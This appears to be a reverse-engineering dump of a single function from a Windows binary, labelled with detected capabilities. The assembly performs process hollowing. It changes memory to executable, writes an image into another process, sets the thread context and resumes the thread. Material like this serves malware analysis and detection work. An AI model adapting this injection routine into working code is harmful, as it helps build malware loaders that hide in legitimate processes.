Function at 0x40b860
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x43d10c], 0
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp + 0x18]
push edi
mov edi, ecx
mov dword [ebp - 0x2f0], esi
mov dword [ebp - 0x2e4], eax
mov dword [ebp - 0x2e0], 0xffffffff
je 0x40baac
mov ecx, edx
call fcn.0040b580
mov dword [ebp - 0x2f4], eax
test eax, eax
je 0x40baac
lea ecx, [ebp - 0x2f8]
mov edx, eax
push ecx
lea ecx, [ebp - 0x2e8]
push ecx
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x2e4]
push ecx
lea ecx, [ebp - 0x2e0]
push ecx
lea ecx, [ebp - 0x2d8]
push ecx
mov ecx, edi
call fcn.0040b770
mov edi, dword [ebp - 0x2e0]
add esp, 0x18
test eax, eax
je 0x40ba5f
mov ecx, dword [ebx + 0x34]
mov edx, dword [ebp - 0x2e8]
mov dword [ebp - 0x2dc], 0
cmp ecx, edx
jne 0x40b9c5
mov eax, dword [ebp - 0x2f8]
cmp eax, esi
jb 0x40b9c5
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x2dc], edx
push ecx
push 0x40
push eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp dword [ebp - 0x2dc], 0
je 0x40ba42
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2e0]
push eax
push 4
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x234]
add eax, 8
push eax
push edi
call esi
mov eax, dword [ebp - 0x2dc]
lea ecx, [ebp - 0x2e0]
push ecx
push dword [ebp - 0x2f0]
mov dword [ebx + 0x34], eax
push dword [ebp - 0x2ec]
push eax
push edi
call esi
test eax, eax
je 0x40ba42
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [ebx + 0x28]
mov dword [ebp - 0x2d8], 0x10007
cmp ecx, dword [ebp - 0x2e8]
jne 0x40ba80
add eax, dword [ebx + 0x34]
jmp 0x40ba82
mov eax, dword [0x43d10c]
test eax, eax
je 0x40ba42
cmp ecx, edx
jne 0x40b9de
mov ecx, edi
call fcn.0040b720
mov eax, dword [0x43d10c]
push 0x40
push 0x3000
push esi
push dword [ebx + 0x34]
push edi
call eax
mov dword [ebp - 0x2dc], eax
test eax, eax
jne 0x40b953
cmp dword [ebx + 0xa0], eax
je 0x40ba42
cmp dword [ebx + 0xa4], eax
je 0x40ba42
push 0x40
push 0x3000
push esi
push eax
push edi
call dword [0x43d10c]
mov dword [ebp - 0x2dc], eax
test eax, eax
je 0x40ba42
sub eax, dword [ebx + 0x34]
mov ecx, dword [ebp - 0x2ec]
mov edx, eax
call fcn.0040b650
test eax, eax
jne 0x40b946
mov dword [ebp - 0x2dc], eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x2e4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
or edi, 0xffffffff
push dword [ebp - 0x2f4]
call fcn.004165be
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
add eax, ecx
mov esi, dword [ebp - 0x2e4]
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x2d8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40ba5f
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret